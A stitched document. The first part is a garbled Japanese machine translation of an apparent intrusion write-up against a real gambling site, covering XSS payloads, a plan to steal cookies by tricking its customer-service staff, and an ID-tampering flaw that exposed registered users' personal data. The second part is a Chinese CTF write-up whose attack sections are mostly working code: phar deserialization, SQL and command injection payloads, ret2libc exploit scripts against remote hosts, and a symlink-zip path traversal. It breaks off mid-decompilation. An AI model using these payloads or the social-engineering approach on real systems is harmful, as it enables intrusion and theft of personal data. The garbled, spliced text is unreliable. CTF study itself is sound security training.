SQLインジェクション:ユーザーが入力したアカウント情報が、フィルタリングなしでデータベースを書き込みまたはクエリするために直接使用されている場合、SQLインジェクションXSSが必要です。入力ボックスに入力された個人情報がユーザーのページに表示されます。同時に、管理者はバックグラウンドでユーザーの個人情報を表示する許可を持たなければならず、ここにストレージXSSがある場合があります。そのようなサイトにはカスタマーサービスがあるため、反射的またはDom XSSであっても、Cookieやその他の目的を盗む目的を達成するために、顧客をトリックしてリンクをクリックしてリンクをクリックする方法を見つけることができます。並行したオーバーライトの権利:ユーザーがログインし、ログイン後に特定のページをチェックしてからパケットをキャッチすると、同様のIDフィールドがある場合、ID番号CSRFを変更することにより、他のユーザーや管理者の情報が表示される場合があります。または、メールアドレスを変更してから、メールアドレスを介してパスワードを変更します。支払いの脆弱性:パケットをキャッチしてパラメーターを変更し、0元を支払います。このアイデアに従ってください。3つまたは7つか7つまたは2つのいずれかに関係なく、最初に登録ページを試すツールに移動します。結果は次のとおりです。

gjx4zlglzbj1866.png

(1)最初に2番目のものを見てみましょう。プロンプトパラメーターを検出ツールのペイロードに変更した後、ページは次のとおりです。ペイロードは実際にフィルタリングなしでページに表示されるので、とても幸せです。

l2woohptcwk1867.png

ペイロード自体はJS内にあるため、スクリプトタグは最初に作成されませんでしたが、「19736%0A」、}%0AALERT(666);%0A 'などのペイロードを直接使用しました。ペイロードの目的は、アラート(666)をバックグラウンドの元のスクリプトタグに直接公開することですが、それらの多くを繰り返し試すことはできませんでした。思考を調整して、スクリプトタグを再構築することしかできませんでした。今回は、次のように成功しました。これは、このXSSに誤ったアラームがないことを意味します。

pvs243o3fco1868.png

もう1つはクッキーにあります。 SessionIDが変更された場合、ページのHTMLソースコードにも直接表示される可能性があります。上記の最初のものと同様に、独自のJSコードを実行するためにスクリプトを構築できます。ただし、バックグラウンドソースコードがわからないため、これがストレージ型XSSであるかどうかを判断することはできず、他の人がURLの構築をクリックしてクリックすることはできません。私は個人的にそれがあまり意味がないと思うので、私はもうここでそれを確認しません。

0niyhopxmy51869.png

バックグラウンドにログインすることはできないため、他のXSSがストレージタイプであるかどうかはまだ不明です。この段階では、他のXSSの脆弱性を引き続き検証しません。

cumjx1tvu5u1870.png

(2)ログインインターフェイスがパケットをキャプチャし、ユーザー名とパスワードは実際にはプレーンテキスト、WTFで送信されます.

ih4of4b4lpe1871.png

手放した後、私は新しいパッケージをキャッチし、リピーターに入れて試してみてください。フィールドキャプチャがあります。これが検証コードです。削除した後、サーバーはとにかくそれを実行し、検証コードが間違っていることを促しませんが、ユーザー名またはパスワードが間違っているため、多くのトラブルが節約されます。最初に正しいアカウントを使用してテストし、返されたステータスがyであることがわかります。すべてが正常であることがわかります。

4kt4lbux2se1872.png

次に、単一の引用符、二重引用符、ブラケット、 ')または1=1でさまざまなSQL注入ペイロードを試してみます - QWEおよびその他のSQLインジェクション、そしてリターンは次のとおりです。

2ivly1eou2h1873.png

右側のネイティブコードの文字列は:です。「4〜15文字を入力してください。英語の文字と番号のみを入力できます」。フィルタリングすることは意図的であり、文字と数字のみを入力することができ、特別なシンボルを入力することはできません。また、SQL注入がここに存在しない可能性が高い。 (一部のWebサイトのフロントエンドページも説明しており、実際にバックエンドサーバー側でチェックされており、JSを使用してフロントエンドをチェックすることはできません。

nj0bf1dsot51874.png

(3)並列/垂直のオーバーリーチ:ログインした後、一部のサイトは、UID=123、GroupID=456、Telno=135000387465など、CookieにさまざまなIDをもたらします。フィールドの意味を簡単に確認でき、値を変更した後、他のユーザーのデータを確認します。しかし、ここのCookieはすべてセッションであり、さまざまな数字を持つフィールドは意味が何であるかを見ることができません。 Burpを使用してさまざまな値を試し、Status:Nを返します。これも従うことも不可能です。

(4)0 Yuan支払い:支払いインターフェイスでパケットをつかみ、リクエストパケットのコンテンツをデコードし、内部に別のサインフィールドがあることを確認し、他のフィールドがチェックされます。金額が変更された場合、検証アルゴリズムを逆にしてから、符号値を再計算する必要があります。ここでは一時的にあきらめます。 PS:user_idが最終的にここに公開されます。

ahehndo4ldk1875.png

3。Xrayスキャンを通じて、樹脂ビューファイルの脆弱性が見つかりました。

1rrlgobizis1876.png

ファイル=xxxxのコンテンツを変更するスキャンプロンプトによると、以下の構成ファイルなどのファイルを実際に見つけることができます。

upf1ihnz42k1877.png

ktmc1fcqnk21878.png

dr2splivcq11879.png

この脆弱性は、イントラネットファイルを横断できるSSRFに似ています。次に、GitHubで搾取のためのツールを見つけ、Burpを使用して辞書の徹底的なディレクトリとファイルを1つずつ実行しますが、次のファイルのみが見つかりました。これらはすべて通常のファイルとパスであり、予想される構成(アカウントなど)が見つかりませんでした。

dwmdevmylho1880.png

Cドライブを通過したい場合は、保護されているようです。

u4ljowuvywc1881.png

この抜け穴は一時的に放棄されます。

4。今のところ、XSSのみを使用できることがわかっており、それも反射的です。 XSSプラットフォームを見つけて、Cookieを盗み、XSSの脆弱性を備えたURLに埋め込んだスクリプトタグを生成し、カスタマーサービスMMを見つけてクリックしてクリックします。その結果、カスタマーサービスMMは愚か者に落ちなかっただけでなく、新しいサイトをもう一度試してみるための新しいリンクを送ってくれました。

さて、もう一度やり直して、新しいサイトを構築し続けます。アカウントで新しいサイトにログインした後、私は主にユーザーと対話するページを探します(多くのパラメーターが関係しており、変更の余地がたくさんあり、脆弱性の可能性は静的なWebページの可能性よりもはるかに大きいです)。私は多くの時間を費やし、無数のリンクをチェックしましたが、次のようにターニングポイントがあるように見えました。

dduvjp4ykjo1882.png

これは、アカウント名、電話番号、ニックネーム、アクセス許可などのさまざまな機密データを含むJSON文字列であり、URLにクライアントキーワードがあります。これはユーザー情報を表示するためのインターフェイスですか?すぐにBurpを使用してパケットをつかみ、URL内の純粋な数値のパラメーターを変更します(純粋な数字はインデックス作成を意味し、網羅的になりやすいです)。予想どおり、登録されたユーザーの情報は爆破されました。

ntg4t2452wr1883.png

5.さらに、CORSの脆弱性(CSRFのタイプ)もXrayを通じて発見されました。また、プラットフォーム上の顧客、管理者、または他のユーザーをクリックする方法を見つける方法も見つける必要があります。当面はここに行きません。

3iofj3zy1do1884.png

このほうれん草サイトの概要:1。ユーザーはフォームの入力を厳密に制限しており、SQL注入とXSSの両方がブロックされています。 2.樹脂の脆弱性は痛みを伴わず、機密データを取得できません。 3。支払い:標識フィールドの検証があり、検証アルゴリズムを最初にクラックする必要があります。 4。最終的に、ページはパラメーターを渡しましたが、チェックしませんでした。一部のユーザー情報は、数値パラメーターの値を変更することで爆破されました。 5.それはビジネス上の理由のためかもしれません。フロントエンドページはまだファイルをアップロードする場所を見つけていませんが、Xiaomaをアップロードする方法を見つけることはまだ不可能です。

参照:1。https://blkstone.github.io/2017/10/30/resin-attack-vectors/樹脂サービスに対する攻撃ベクトル照合

元のリンクアドレスから転載:https://www.cnblogs.com/theseventhson/p/13738535.html

一、WEB

1.web_BaliYun

进去之后一个文件上传,而且只能上传图片。访问www.zip拿到源码

fqvfxc0scfw15417.png网站源码:index.php:<?php
include("class.php");
if(isset($_GET['img_name'])){
    $down = new check_img(); # here
    echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
    $up = new upload();
    echo $up->start();
}
?>
class.php:<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename); # here 2
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name']; # here
    }

    public function img_check(){
        if(file_exists($this->img_name)){ # here 1
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

很明显得phar反序列化,上传再phar包含即可,代码也给定了上传目录为upload,文件名未变。

更多有关phar反序列化可参考

php反序列化拓展攻击详解--phar: https://xz.aliyun.com/t/6699

Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958

# test.php
<?php
class upload{
    public $filename;
    public function __construct(){
      $this->filename = 'file:///flag';
    }
}

$phar = new Phar('Tao.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = new upload();
$phar -> setMetadata($payload);
$phar -> stopBuffering();
php --define phar.readonly=0 test.php
mv Tao.phar Tao.gif

类里面看到了可以出发phar的函数file_exists。以及可以读flag的函数。那么思路就很清晰了。直接上传一个Tao.gif,内容是upload类,属性filename为/flag。然后传参img_name为phar://upload/Tao.gif,去触发我们的phar包即可

上传Tao.gif,之后?img_name=phar://upload/Tao.gif即可get flag.

ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag"
.........................................
> GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1
> Host: 39.107.82.169:27417
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 19 Sep 2022 10:42:08 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Vary: Accept-Encoding
< Content-Length: 1925
< Content-Type: text/html; charset=UTF-8
<
.........................................
                    flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg}

2.easylogin

sql注入,burp抓包时发现gbk乱码,意识到是宽字节注入。

username=admin%df'&password=admin

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin�''' at line 1

测试联合注入发现:

fvhdvtxxzi415419.jpg

总是出现语法错误,排查后发现select和union等会被替换为空,比较简单利用双写绕过即可。

直接联合注入密码无法登陆,联想到常规站点开发密码会被md5,于是用md5去加密,由于无法用引号,选择16进制绕过。

0sfbjq0e2qv15421.jpg

建立虚拟表直接登录。后台逻辑是MD5比较。有类似原题username=admin%df%27ununionion%0aseselectlect%0a66,66,0x3437626365356337346635383966343836376462643537653963613966383038#&password=aaa

3.web_letmeguess_1

题目提示弱口令,爆破得密码admin123

xkqnrsw0mdv15423.png

GET /index.php?ip=127.0.0.1%0Als HTTP/1.1
Host: 39.107.75.148:19304
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection: close

# 读取源代码
?ip=127.0.0.1%0Apaste%09index.phpArray
(
    [0] => <?php
    [1] => 
    [2] => header('Content-type:text/html; charset=utf-8');
    [3] => 
    [4] => // 开启Session
    [5] => 
    [6] => session_start();
    [7] => 
    [8] => 
    [9] => 
    [10] => // 首先判断Cookie是否有记住了用户信息
    [11] => 
    [12] => if (isset($_COOKIE['username'])) {
    [13] => 
    [14] => # 若记住了用户信息,则直接传给Session
    [15] => 
    [16] => $_SESSION['username'] = $_COOKIE['username'];
    [17] => 
    [18] => $_SESSION['islogin'] = 1;
    [19] => 
    [20] => }
    [21] => 
    [22] => if (isset($_SESSION['islogin'])) {
    [23] => 
    [24] => // 若已经登录
    [25] => 
    [26] => 
    [27] => $res = FALSE;
    [28] => 
    [29] => if (isset($_GET['ip']) && $_GET['ip']) {
    [30] =>     $ip = $_GET['ip'];
    [31] =>     $m = [];
    [32] =>     if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) {
    [33] =>         $cmd = "ping -c 4{$ip}";
    [34] =>         exec($cmd, $res);
    [35] =>     } else {
    [36] =>         $res = 'Hacker,存在非法语句';
    [37] =>     }
    [38] => }
    [39] => 
    [40] => 
    [41] => } else {
    [42] => 
    [43] => // 若没有登录
    [44] => 
    [45] => echo "您还没有登录,请<a href='login.html'>登录</a>";
    [46] => 
    [47] => }
    [48] => 
    [49] => ?>

正则拦截如下:

if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) 

在当前目录中发现kylin,过滤也发现kylin,猜测flag在此目录下,但是由于/给拦截了,尝试进入目录后进行文件读取,但题目过滤了kylin,利用linux系统得特性,正则查看目录文件

# 读取kylin目录
?ip=
127.0.0.1%0Als%09ky???

#输出:
<pre>
Array
(
    [
0] => flag.txt
)
</pre>
#final payload
?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* 
# %09 => '    '(tab),其实${IFS}也可以
?ip=127.0.0.1%0Acd%09ky???%0apaste
${IFS}fl*
?ip=127.0.0.1%0Aca
""t${IFS}$(fi""nd${IFS}.)
c0vpfbrbftx15434.jpg

4.web_Eeeeasy_SQL

源码:直接利用16进制字符比较,用case when一个个正则出来。利用binary来区分大小写。

lfimhd2rhke15436.png

脚本直接注
import requests
proxy={
"http":"127.0.0.1:8080"}
result=
"0x"
k=
0
for j in range(100):
    
for i in range(33,126):
        k=hex(i)
        k=k[
2:]
        result += k
        password = 
"or(case\x09when\x09(binary\x09username>"+result+")\x09then\x091\x09else\x099223372036854775807+1\x09end)#"
        data = {
"username""aa\\""password": password}
        re = requests.post(data=data, url=url,proxies=proxy, allow_redirects=
False)
        
# sleep(0.1)
        print(re.status_code)
        
if "msg" not in re.text:
            result = result[:
-2]
            l=hex(i
-1)
            l=l[
2:]
            result +=l
            print(result)
            
break
        
else:
            result = result[:
-2]
最后注出来
username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!提交登录进去后,可以看到是一个简单的readfile。过滤/flag而已,不能直接用/flag,简单用/proc/self/root/flag绕过<?php
session_start();

if(isset($_SESSION['name'])){
 if($_SESSION['name'] === 'Flag_Account'){
     $file = urldecode($_GET['file']);
     if(!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){
         readfile($file);
 }else{
     echo 'try again~';
 }
 }
     show_source(__FILE__);
 
}else{
 echo '登陆一下吧~';
}

emmm1gxh0fp15439.jpg

wjwdt3wiet415440.png


二、Pwn

1. H3ll0Rop

基础的ret2libc

from pwn import *

context.log_level=
'debug'
#p = process('./H3ll0Rop')
p = remote(
'47.93.30.67',52705)
elf = ELF(
'./H3ll0Rop')
libc = ELF(
'./libc-2.23.so')
pop_rdi = 
0x0000000000400753
#vuln = 0x400647
vuln = 
0x4006CC

#leak libc
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
p.sendlineafter(
b'me???',payload)
libc_base = u64(p.recvuntil(
b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(
'libc_base',hex(libc_base))
system = libc_base + libc.sym[
'system']
binsh = libc_base + next(libc.search(
b'/bin/sh'))

#getshell
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
p.sendlineafter(
b'me???',payload)

p.interactive()
p.close()

2.5_1H3ll0Rop

from pwn import*
context(os=
'linux',arch='amd64')
context.log_level=True
elf=ELF(
'H3ll0Rop')
libc=ELF(
'libc-2.23.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./H3ll0Rop',env={'LD_PRELOAD':'./libc-2.23.so'})
#p=process('./H3ll0Rop')
p=remote(
'47.94.151.201',51850)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006CC)

p.sendline(payload)
p.recvuntil(
'an pwn it\n\n')
puts=u64(p.recv(6).ljust(8,
'\x00'))


libcbase=puts-libc.sym[
'puts']
system=libcbase+libc.sym[
'system']

binsh=libcbase+next(libc.search(
'/bin/sh'))
print hex(libcbase)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(binsh)+p64(system)


#gdb.attach(p)
raw_input()
p.sendline(payload)

p.interactive()


三、Misc

1.简单的Base

题目给了一串密文666c61677b57656c636f6d655f686572657d, hex解码

>>> print('666c61677b57656c636f6d655f686572657d'.decode('hex'))
flag{Welcome_here}

2.5_Misc_m@sTeR_0f

题目给了源代码,如下:

import random
import string
import subprocess

WELCOME = '''
                     _______   _____     ___   __    _____       _      _ _______   
              ____  |__   __| |  __ \   / _ \ / _|  / ____|     | |    (_)__   __|  
  _ __ ___   / __ \ ___| | ___| |__) | | | | | |_  | (___   __ _| |     _   | | ___ 
 | '_ ` _ \ / / _` / __| |/ _ \  _  /  | | | |  _|  \___ \ / _` | |    | |  | |/ _ \
 | | | | | | | (_| \__ \ |  __/ | \ \  | |_| | |    ____) | (_| | |____| |  | |  __/
 |_| |_| |_|\ \__,_|___/_|\___|_|  \_\  \___/|_|   |_____/ \__, |______|_|  |_|\___|
             \____/                                           | |                   
                                                              |_|                   
'''

print(WELCOME)

def name_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

tmp_dbpath = f'/tmp/{name_generator()}.db'

query_idea = input("Input your Query command --->> ")

black_list = ['.', 'lo', ';']

for y in black_list:
    if y in query_idea:
        print("Hacker! Banned...")
        exit()

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
#Show your output!
print(output.decode())

审计发现,核心代码如下:

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()

Command Injection,query_idea可控, 但题目过滤了['.', 'lo', ';']

查阅官方文档https://www.sqlite.org/cli.html,发现可命令执行

$sqlite3 Tao
Enter ".help" for usage hints.
sqlite> .shell whoami
root
sqlite> .system id
uid=0(root) gid=0(root) groups=0(root),141(kaboxer)

但是发现题目只可执行一次命令,且过滤了.,但是由于query_idea可控,且通过官方文档,发现交互参数

-interactive         force interactive I/O # sqlite3 --help

至此,我们的思路就是通过交互式,绕过python的过滤,达到命令执行

Input your Query command --->> -interactive # here
.shell ls / 
# here
.system cat /fl* 
# here
.quit
SQLite version 3.37.2 2022-01-06 13:25:41
Enter 
".help" for usage hints.
sqlite> bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite>

3.sakana_reveage

sakana_upload()函数中的文件名 sakana_file_name 完全可控,可以路径穿越在任意位置写文
件,所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然
限制了文件开头必须是 sakana,但是经过测试 unzip 命令是可以忽略开头的无关数据正常
解压的。wwr3t24kzmr15443.jpgsakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩
包的代码。由于这里生成 xx.zip 过程中异常跳出,所以生成的不是合法 zip。这时, unzip 会
自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压,于是上面目录穿越传入的压缩包就会被
解压并链接到 flag,接着选择下载获得 flag

fgwksuwucmj15444.png

还有就是base64解码后要有sakana字段

z53pxhbwlah15449.png

nc连接

4vaxpquuv1o15452.png

# payload = base64 flag.zip
ln -s /flag soft_flag
zip --symlink flag.zip soft_flag
base64 flag.zip

payload加入sakana字段后base64编码

vaezm2i0ado15454.jpg

输入1上传

nr4ce4z53lw15457.jpg

然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error

wezijx2qhuy15459.png

最后输入2下载得到flag的base64加密字符串

y5n0xa3uihb15461.png

base64解密得到flag

zwua5fau5i115464.jpg


四、Reverse

1.5_re2

feedof02hrd15466.png

mips 64位 想qemu 模拟跑 ,发现没有so ,跑不起来。IDA 没法直接反编译。hdyrfzuh0dq15469.jpg
Ghidra查看:
5kbhickumli15472.jpg

定义了 level。

核心是下面的 move 函数。

undefined8 move(void)

{
char cVar1;
int local_230;
int local_22c;
char local_228 [528];
undefined *local_18;

local_18 = &_mips_gp0_value;
local_22c = 0;
local_228[0] = 
'\0';
local_228[1] = 0;
memset(local_228 + 2,0,0x1fe);
printf("input: ");
__isoc99_scanf(&DAT_120001878,local_228);
whiletrue ) {
 
do {
   local_230 = 0;
   find();
   cVar1 = local_228[local_22c];
   
if (cVar1 == 'w') {
     local_230 = Up();
   }
   
else if (cVar1 < 'x') {
     
if (cVar1 == 's') {
       local_230 = Down();
     }
     
else if (cVar1 < 't') {
       
if (cVar1 == 'd') {
         local_230 = Right();
       }
       
else if (cVar1 < 'e') {
         
if (cVar1 == '\x1b') {
           
return 0xffffffffffffffff;
         }
         
if (cVar1 == 'a') {
           local_230 = Left();
         }
       }
     }
   }
   local_22c = local_22c + 1;
 } 
while (local_230 != 1);
 
if (level == 2) break;
 level = level + 1;
}
puts(
"flag is ctf{md5(your input)}");
return 1;
}

wasd 上下左右 , flag格式定义。

find 函数中的定义 ,决定了 迷宫 一行多少值

1aldhqze3dw15473.jpg

跟随 去找map map的定义。

zvcnwkalyt515475.jpg

处理下,得到各个level的 map表。

其中第一level的 整理后的迷宫表:

1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
根据find中的 if判断 因此走的路径为
dddddssdsdddsssaassssddds以此类推整理后面两个level的 迷宫表
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 3, 1, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 

0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
走的路径分别为dddsssdddsssdssddssddwddssssssdddssssdddss合并起来 走的路径为 dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss因此

535dnyfkria15476.jpg

得到 flag f77feb47f7ff4f9e6e94f297b18652e0

2.5_crackme

初步分析
binwalk -Me rootfs.img
有用的文件:
/bin/crackme
/etc/config
config


1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FF
D0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF
1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FF

int __fastcall chal_main(int argc, const char **argv)
{
const char *v3; // r0
int v4; // r0
int v5; // r5
int v6; // r0
int v7; // r9
int v8; // r10
int *v9; // r1
int v10; // r7
int v11; // r5
int v12; // r0
int *v13; // r1
int v14; // r0
int v15; // r0
bool v16; // zf
int v18[16]; // [sp+4h] [bp-74h] BYREF
v3 = (const char *)v18;
if ( argc >= 2 )
v3 = argv[1];
if ( argc < 2 )
v3 = "/etc/config";
v4 = open(v3, 0, 0);
if ( v4 >= 1 )
{
v5 = v4;
read(v4, config, 256);
close(v5);
}
v6 = dword_712C[0]++;
v7 = v18[config[v6]]; // 应该是取出 return_address

sub_3154(1, (int)"2", 0, (int)"a", 0);
sub_3154(2, (int)"3", 0, (int)"a", 0);
sub_33F8(1);
sub_33F8(2);
sub_3154(0, (int)"0", 28, (int)"a", 0);
sub_3154(6, (int)">> ", 64, (int)asc_659, 0);
sub_3154(7, (int)"<< ", 64, (int)"[!!]\n", 1);
sub_3154(8, (int)"<< ", 64, (int)"[ok]\n", 1);
sub_336C(6);
v8 = -1;
v9 = &config[dword_712C[0]];
v10 = *v9;
dword_712C[0] += 2;
v11 = v9[1];
while ( ++v8 < v11 )
{
v12 = dword_712C[0]++;
strcpy((char *)v18, "bbbbbbbbbbbbbbbb");
v13 = &v18[6];
v18[6] = config[v12] + v7;
BYTE1(v18[4]) = 0;
HIWORD(v18[4]) = 0;
v18[5] = 16;
if ( unk_7130 )
{
strcpy(unk_7130, "0");
v14 = *(_DWORD *)(unk_7130 + 16);
if ( *(int *)(unk_7130 + 20) > 27
|| (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 +
16) = v14) != 0) )
{
memcpy(v14, v18, 28);
}
}
v15 = dword_712C[v10 + 1];
v16 = v15 == 0;
if ( v15 )
{
v13 = (int *)unk_7148;
v16 = unk_7148 == 0;
}
if ( !v16 )
{
*(_DWORD *)(v15 + 16) = v13[4];

*(_DWORD *)(v15 + 20) = v13[5];
}
if ( !sub_32E8(v10) )
return sub_336C(7);
}
return sub_336C(8);
}
修正 config 里的偏移 转换成对应的函数地址
off = 0xFFFFED68-0x4644
for i in range(9):
x = ida_bytes.get_dword(0x0c+i*4)
ida_bytes.patch_dword(0x0c+i*4, x-off)
seg000:00000000 dd 30
seg000:00000004 dd 2
seg000:00000008 dd 9
seg000:0000000C ; int[9]
seg000:0000000C dd 3C1Ch
seg000:00000010 dd 3DACh
seg000:00000014 dd 3FA0h
seg000:00000018 dd 3B54h
seg000:0000001C dd 4450h
seg000:00000020 dd 41F8h
seg000:00000024 dd 3CE4h
seg000:00000028 dd 4324h
seg000:0000002C dd 4644h
int __fastcall sub_3C1C(char *a1, int a2)
{
int i; // r3
for ( i = 0; i < a2; ++i )
a1[i] = sbox_list[25][(unsigned __int8)a1[i]];
return 1;
}
int __cdecl sub_4644(unsigned __int8 *flag)
{
int v2; // r6
int v3; // r9
int v4; // r10
int v5; // r0
int v7; // [sp+4h] [bp-6Ch]
int v8; // [sp+8h] [bp-68h]

int v9; // [sp+Ch] [bp-64h]
int v10; // [sp+10h] [bp-60h]
int v11; // [sp+14h] [bp-5Ch]
int v12; // [sp+18h] [bp-58h]
int v13; // [sp+1Ch] [bp-54h]
